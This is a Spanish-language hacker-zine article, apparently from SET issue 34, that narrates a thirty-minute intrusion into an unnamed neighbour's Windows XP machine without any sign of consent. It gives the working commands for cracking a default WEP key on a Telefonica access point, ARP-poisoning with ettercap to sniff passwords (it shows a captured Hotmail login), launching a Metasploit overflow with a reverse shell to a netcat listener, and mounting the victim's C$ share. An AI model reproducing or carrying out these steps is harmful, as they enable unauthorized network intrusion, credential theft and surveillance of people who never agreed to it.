-[ 0x05 ]-------------------------------------------------------------------- -[ Input/Output Ileso ]------------------------------------------------------ -[ by blackngel ]----------------------------------------------------SET-34-- @ @ @@@ blackngel@iespana.es @@@ IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII III @@@@ @ @@@@@ @@@@@ @ @ @@ @ @@@@@ @@@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@@ @ @@@@@ @ @@@ @ @ @ @ @@@ @@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@ @@@@@ @ @ @@@@@ @ @ @ @@ @@@@@ @@@@@ @@@@@ III IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII @@@ @@@ @ @ %%%%%%%%%%%%%%%%%%%%%%%%%% %%%====================%%% %%% Input/Output ILESO %%% %%%====================%%% %%%%%%%%%%%%%%%%%%%%%%%%%% "Bienvenidos al mundo de lo real..." O: Como salir ILESO en tan solo media hora? ------------------------------------------- <><><><><><><><><><><><><> <><><> 01 <> INDICE <><><> <><><><><><><><><><><><><> (*)----(*)--------------------(*) (*) 01 (*) INDICE (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 02 (*) INTRODUCCION (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 03 (*) ENTRAR EN LA RED (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 04 (*) ANALISIS (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 05 (*) CAPTURAR TRAFICO (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 06 (*) ENTRADA EN LINUX (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 07 (*) ENTRADA EN WINDOWS (*) (*)----(*)--------------------(*) (*)----(*)--------------------(*) (*) 08 (*) DESPEDIDA (*) (*)----(*)--------------------(*) <><><><><><><><><><><><><><><><> <><><> 02 <> INTRODUCCION <><><> <><><><><><><><><><><><><><><><> El siguiente articulo no versa sobre ninguna entrada espectacular a ningun sistema de indole importante. Lo tomaremos como una pequena historieta sobre una pequena visita al PC de "alguien". No revelara nada nuevo ni descubrira ningun tipo de informacion clasificada guardada por la NSA. Lo mismo se puede estar haciendo esto que pasarse media hora leyendo un pedazo de codigo en ensamblador. La diferencia es que lo primero resulta mas estimulante que lo segundo (en mi humilde opinion). NOTA: Yo no soy, ni espero se me considere el autor de ninguno de lo siguientes actos. No obstante, los expondre en primera persona porque resulta el modo mas facil de explicarlo y a su vez el modo mas facil de comprenderlo. NOTA 2: Doy por asumido que se tienen unos minimos conocimientos de lo que aqui se esta haciendo. Y que las herramientas aqui empleadas se encuentran instaladas en el sistema con el que se trabaja. Repito, yo solo relato la historia. Cualquier buscador aclarara vuestras dudas. Con esto y sin mas, ya que el articulo bien pudiera haberse hecho factiblemente en el solo lapso de media hora, les dejo con lo que viene, que no es mucho, pero tampoco es nada. <><><><><><><><><><><><><><><><><><> <><><> 03 <> ENTRAR EN LA RED <><><> <><><><><><><><><><><><><><><><><><> Estoy lejos de mi casa, en el campo, alejado del mundanal ruido en una casita de dos pisos recien estrenada. Dejo a un lado el Necronomicon, y enciendo el portatil. La tarjeta wireless no detecta ni tan siquiera una red en su perimetro de alcance. Subo a mi habitacion (en el piso de arriba) y sin cerrar la tapa lo dejo sobre la mesa, en medio de otros cuatro PC's que lo rodean. Los enciendo de uno en uno, ya sea con los pies o con las manos y me vuelvo a centrar en mi modesto portatil con la ultima version de Ubuntu (Linux) y el interfaz grafico CompizFusion instalado sobre Gnome. Todo apariencia, pues la verdad, con una interfaz de comandos podria hacer exactamente lo mismo. De todos modos, invito a probarlo, es el futuro y, por el momento, es gratis. Al asunto: Cierro el interruptor de la tarjeta MiniPCI Intel 2200 que viene incorporado con el portatil y enchufo en la ranura PCMCIA mi tarjeta SMC de 108 Mbps. Un rapido barrido con ella (es decir, miro lo que detecta :D) y da sus frutos, aparece una red cuyo nombre es WLAN_8D y con una senal bastante aceptable. Hemos tenido suerte, podria haber sido cualquier otra red y nos echariamos unas veinticuatro horas (tirando a poquito) capturando paquetes IV's hasta conseguir un millon de ellos (para tener suerte a la primera). Pero no es el caso, se trata de un Punto de Acceso de los de Telefonica, y su incompetencia es tan grande que podemos lograr romper la contrasena que protege la red capturando tan solo 1 misero paquete y tan rapido como demos escrito un comando en la consola. Abro una shell y ejecuto el airodump-ng, el comando es el siguiente: # sudo airodump-ng -w ~/todos 0 ath0 Con eso consigo capturar paquetes de todas las redes wireless que la tarjeta detecta, lo hago asi porque no se en que canal opera el Punto de Acceso (AP a partir de ahora) y, como es el unico que detecta, tampoco va a llenar el archivo "todos" con basura innecesaria. En ningun momento le digo que capture solo paquetes IV porque el archivo tiene que estar en formato "cap". Facil deducir que el archivo se guardara en nuestro directorio personal, su nombre sera "todos-01.cap". En el instante en que tengamos un solo paquete capturado, ya podremos cerrar la aplicacion con un sencillo Ctrl-C. Ejecutamos el siguiente comando, donde XX:XX:XX:XX:XX:XX es la MAC del AP al que queremos acceder (la sacamos del airodump): wlandecrypter XX:XX:XX:XX:XX:XX WLAN_D8 | wepattack -f todos-01.cap Casi al momento tendremos delante de nuestros ojos la contrasena: X00013858D48D (si por ejemplo, hubiera sido esta, mirando el codigo fuente del programa wlandecrypter podriamos deducir que estamos tratando con un AP de la marca Xavy) Una buena pista, para mirar las contrasenas por defecto de administracion del AP en una lista como esta: "http://www.phenoelit-us.org/dpl/dpl.html". Bueno, a cada caso le tocara su contrasena. Intento conectarme con uno de los PC's que tengo al lado (lo hago en uno que inicio con WinXP), conecta bien, pero dado que la antena que sale de su tarjeta inalambrica no consigue la misma cobertura que el portatil y sufre molestas aunque infrecuentes desconexiones, decido entrar a la pagina de administracion del AP (en el navegador 192.168.1.1) y cambio el valor del "beacon interval" de 100 a 50. Consigo una conexion mas estable y constante. Por tocar un poco mas el tema del AP, desde el portatil realizo un sencillo escaneo de puertos: $ sudo nmap -sS -v 192.168.1.1 Y entre otros datos obtengo lo siguiente Interesting ports on 192.168.1.1: Not shown: 1693 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http MAC Address: XX:XX:XX:XX:XX:XX (Marca del AP) Me gusta, esto me da la oportunidad de administrar el AP a traves de "Telnet" sin ser logeado de la misma manera en que lo haria por WEB (notese que "no digo que no" sea logeado, sino que no lo haria del modo en que pretende el administrador del AP). No tocamos nada mas, pues ya tendremos tiempo mas tarde para investigar a bajo nivel si nos apetece. Buen comienzo, y mas rapido de lo que se tarda en contarlo. Estamos dentro de la red y seguimos ILESOS. Continuemos... <><><><><><><><><><><><><><> <><><> 04 <> ANALISIS <><><> <><><><><><><><><><><><><><> Bien, para hacerme un esquema visual de la red sin llamar demasiado la atencion abro en Win el programa "Look@Lan". Creo un nuevo perfil indicandole la interfaz que utilizo y poco tiempo poseo una lista de los terminales que se hayan conectados a la red. Resultan ser: 192.168.1.1 -> El Punto de Acceso 192.168.1.5 -> Nuestro "OBJETIVO" 192.168.1.33 -> Mi portatil 192.168.1.34 -> El PC de sobremesa 192.168.1.111 -> Otro AP conectado a la red que rara vez detecto (senal infima) Look@Lan me dice que solo mi PC y el OBJETIVO tienen instalado Windows. El mio tras un firewall rechazando la mayoria de paquetes entrantes, sobretodo ICMP, y con numerosos cambios en las variables del registro del sistema. No obstante no deja de ser un WinXP con SP2 en el que hay que tener los ojos muy abiertos. No corre la misma suerte nuestro OBJETIVO, pero eso se demostrara a su tiempo. Vuelvo al portatil con la idea de utilizar herramientas que no provoquen tanto ruido: $ sudo xprobe2 192.168.1.5 Me dice que: [+] Primary guess: [+] Host 192.168.1.5 Running OS: "Microsoft Windows XP SP1" (Guess probability: 100%) Confiaremos en esta prediccion (factible) en un principio. No obstante, buscaremos unas bases y unos argumentos mas solidos que ratifiquen esta afirmacion (100% es hablar con voz muy alta, y a veces ya se sabe, que mucho ruido y pocas nueces). Por el momento no realizare un escaneo directo a la maquina. No quiero hacer pasos innecesarios. Intentemos entrar sin llamar a la puerta para escapar ILESOS. <><><><><><><><><><><><><><><><><><> <><><> 05 <> CAPTURAR TRAFICO <><><> <><><><><><><><><><><><><><><><><><> En primer lugar podriamos cambiar este titulo por otro que fuera del estilo de: "Espionaje en toda regla". Con las siguientes herramientas y un poco de cerebro interpretativo (hoy en dia casi ni eso hace falta) podemos saber hasta el mas minimo paso que se realiza en el OBJETIVO. Comenzaremos utilizando a mi amigo "ettercap", viejo conocido el, guru en su materia, primo hermano de Wireshark (anteriormente famoso Ethereal). Lo ejecutamos con el siguiente comando: $ sudo ettercap -m archivo.log -C El parametro -C bien puede sustituirse por -G para el modo grafico (las X), pero con "ncurses" me evito tener tanta ventanita abierta por el escritorio. Ahora clickamos en la opcion de menu "Sniff" y dentro de este en "Unified sniffing". Cuando nos pidan la interfaz que vamos a utilizar para sniffar le diremos la que corresponda, en mi caso "ath0". Una vez logrado esto necesitamos activar el reenvio IP para que nuestro PC no se quede para el todo el trafico que capture y lo siga reenviando a su destino original. Para ello, como root hacemos: # echo 1 > /proc/sys/net/ipv4/ip_forward Si no hicieramos esto, capturariamos el trafico de OBJETIVO, pero este no tendria su conexion normal a Internet y se daria cuenta en poco tiempo. Ademas nosotros nunca conseguiriamos lo que nos proponemos. Ahora clickamos en la opcion de menu "Hosts" y dentro de esta "Scan for hosts". Esperamos a que se complete la barra de progreso y en el mismo menu de antes escogemos "Hosts list", nos saldra una lista como en Look@Lan de los PC's conectados al AP. Seleccionamos el la IP del OBJETIVO y pulsamos a la tecla 1 del teclado (la que pone el n¶§1, la admiracion y la barra), luego seleccionamos la IP del AP y pulsamos la tecla 2. Vamos al menu "Mitm" y escogemos la primera opcion "Arp poisoning", y en el recuadro que nos aparece escribimos remote y pulsamos Enter. Por ultimo nos dirigimos al menu "Start" y pulsamos "Start sniffing". El proceso comienza a capturar trafico. Con esto conseguimos hacer creer a OBJETIVO que nosotros somos el AP y de este modo todo el trafico que OBJETIVO genere pasara por nosotros antes de llegar al AP real que lo enviara seguidamente a Internet. Espionaje dije antes? Si, no me equivocaba... Bajo al piso de abajo, me tomo un zumito de pina y en cuanto subo (2 minutos a lo sumo) ya tenemos algo interesante en el cuadro inferior de "User Messages": HTTP : 65.54.179.203:443 -> USER: nombre@hotmail.com PASS: contrasena INFO: http://login.live.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw 900&fs=1&lc=58378&_lang=ES Y como esto, seguramente aparezcan contrasenas de acceso a otras paginas y/o a otros servicios como telnet, ftp y otros tantos de texto plano. No utilizaremos esta informacion para ningun fin descarriado pues no es nuestro objetivo, aunque si la podriamos tener en cuenta, dado que muchos (sino la mayoria) de los usuarios utilizan los mismos nombres y contrasenas en todos los ambitos de la red. Si vamos al menu "View" -> "Connections", podremos ver todo el trafico que se genera entre su ordenador e Internet o la Red Local incluso. Mas interesante si cabe seria "View" -> "Profiles" que nos muestra las IPs de la ventana anterior resueltas en nombres de dominio. Es decir, podemos ver todas las paginas web que ha visitado. Rastrear sus gustos y aficiones y realizar un perfil del sujeto. (Tampoco es nuestro objetivo). En "View" -> "Connections", si nos situamos encima de alguna transaccion HTTP con origen en 192.168.1.5 y destino una pagina Web cualquiera, y damos Enter, quiza podramos observar lo siguiente en el marco de la izquierda entre otra info: _____________________ La cadena User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), nos dice que es probable estemos enfrentandonos a un WinXP con SP1. En cambio, si hubieramos obtenido un User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) podriamos haber creido mas probablemente que se trataba de un WinXP con SP2. ____________________ Fue la primera la que yo encontre, asi que aqui ya tenemos un argumento a mayores que certifica la opinion de "Xprobe". NOTA: En Windows, un browser con Kmeleon permite al usuario modificar la cadena "User_Agent" a su antojo y enganar asi al observador curioso. Incluso nos podria hacer creer que trabaja desde otro Sistema Operativo. Wireshark no es mucho mas dificil de utilizar (nada dificil a decir verdad). Simplemente que el "Arp Spoof" lo hariamos desde fuera, con la propiamente dicha herramienta "arpspoof" del paquete "dsniff". Luego, en las opciones de sniffing, estableceriamos la interfaz con la que capturar, un filtro por IP con la direccion del host OBJETIVO, y tantos otros filtros como especificos en la captura deseemos ser. Hay que currarselo un poco mas para encontrar PASSWORDS pero ni tan complicado. Si nuestro "Arp Spoof" no da mucho el cante, tanto con Ettercap, como con Wireshark podremos salir ILESOS. <><><><><><><><><><><><><><><><><><> <><><> 06 <> ENTRADA EN LINUX <><><> <><><><><><><><><><><><><><><><><><> Dado el sistema al que nos enfrentamos, es propicio utilizar la siguiente herramienta a la hora de realizar la fase de penetracion. Su nombre es "Metasploit", y deberia ir en el bosillo de todo viajante junto con nuestra navaja suiza mas adorada "netcat". Ejecuto desde la carpeta "framework" donde descomprimi Metasploit: $ ./msfweb Y accedo al link que me indica en pantalla que no es sino una interfaz web que se adhiere a un puerto de nuestro propio sistema. Desde aqui trabajaremos mas comodamente que con ./msfconsole. Aunque con el segundo no damos tantas vueltas. Hago click en el boton "exploits" y espero que se cargue la lista, en el cuadro de texto superior escribo "ssl" para buscar un exploit que ataque este protocolo de forma especifica y nos entrega como unica opcion: "Microsoft Private Communications Transport Overflow". Hacemos click, y en la nueva ventana click nuevamente sobre el sistema objetivo que deseamos atacar, en este caso "Windows XP SP1". La carga que ejecutaremos para este exploit sera una shell inversa. Es decir, queda mas bonito obligar al OBJETIVO a que nos solicite una conexion que el hecho de que seamos nosotros quien se la solicite. (Queda mas bonito en los logs claro esta xD). Escogemos entonces "generic/shell_reverse_tcp" y completamos los cuadros de la nueva ventana como sigue: RHOST -> IP OBJETIVO RPORT -> 443 LHOST -> 192.168.1.33 LPORT -> 31337 Antes de ejecutar el exploit, en una shell aparte abrimos un puerto a la escucha con "netcat": $ sudo nc -l -p 31337 -v localhost Y ahora si ejecutamos el exploit haciendo click en el boton: "Launch exploit". No tardamos nada en ver en nuestra consola un bonito: _______________________________________ Microsoft Windows XP [Version 5.1.****] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> _______________________________________ Una vez demostrado que se puede entrar, nos vamos sin hacer ruidito. No deseamos que nada nos estropee la fiesta. No es asi? O es que alguien prefiere no salir ILESO? <><><><><><><><><><><><><><><><><><><> <><><> 07 <> ENTRADA EN WINDOWS <><><> <><><><><><><><><><><><><><><><><><><> Lo mas triste de todo es que llegaremos hasta este punto y cuando leais esto no os daran ganas de otra cosa que no sea darme de palos. ¶¨Por que? Pues simplemente porque OBJETIVO comparte todos sus recursos sin contrasena alguna, lo que nos permite navegar por sus carpetas compartidas e incluso imprimir por red (aunque eso estaria muy feo). Osease, que todo lo anterior solo ha servido para aquel que pueda tener un orgasmo intelectual. *** O NO *** ¶¨Como lo se? Pues bien, pasandome a mi PC de sobremesa, y olvidando comandos tan machacados y pulidos como "nbtstat". Abro el programa "Winfingerprint". Selecciono la casilla box "Singel host" y en el cuadro de texto introduzco la IP de OBJETIVO. En "Scan Options" me animo a tickar tambien las opciones "Groups", "RPC Bindings", "Users" y "Sessions" (por aquello de que cuanta mas informacion mejor). Damos click en SCAN y en pocos segundos obtenemos lo que buscabamos. Entre otros recursos y otra informacion ahora mismo irrelevante. Nos dice algo como: NetBIOS Shares: Name: \\192.168.1.5\C$ Y en el idioma anglosajon nos dice que este directorio es accesible con los credenciales actuales. Por tanto, hacemos uso del comando "net" para montarnos una unidad con ese directorio: C:\WINDOWS\system32> net use X: \\192.168.1.5\C$ Para conectar a un recurso compartido como administrador LOCAL: C:\WINDOWS\system32> net use X: \\192.168.1.5\recurso_compartido contraseÇña /u:192.168.1.5\administrador Para conectar como administrador del DOMINIO: C:\WINDOWS\system32> net use X: \\192.168.1.5\recurso_compartido contraseÇña /u:Nombre_dominio\administrador NOTA: Si el sistema operativo esta en ingles, el usuario administrador es: "administrator" (MUY IMPORTANTE!). Nos vamos a MI PC y alli nos encontramos con una nueva unidad conteniendo la "panacea de la informacion ajena". No tocamos nada, pues nadie nos ha dado permiso para hacerlo, desmonto la unidad, apago todos los PC's incluido el portatil y me bajo nuevamente al sofa, donde puedo seguir leyendo tranquilamente el Necronomicon. Bueno, eso, o programacion avanzada de shellcodes. Seguir estos pasos es una buena formad de salir ILESOS. <><><><><><><><><><><><>><><> <><><> 08 <> DESPEDIDA <><><> <><><><><><><><><><><><>><><> No hay mucho que decir, portaros bien. Estamos en una etapa en la que ser hacker es dificil, y ademas de eso, la gente opina que esta MAL serlo. Somos curiosos y solo deseamos despertar nuestras/vuestras mentes. Esto es tan solo una historia. Pero bien sabemos algunos que las historias muchas veces se convierten en realidad. Repito: Portaros bien. *EOF*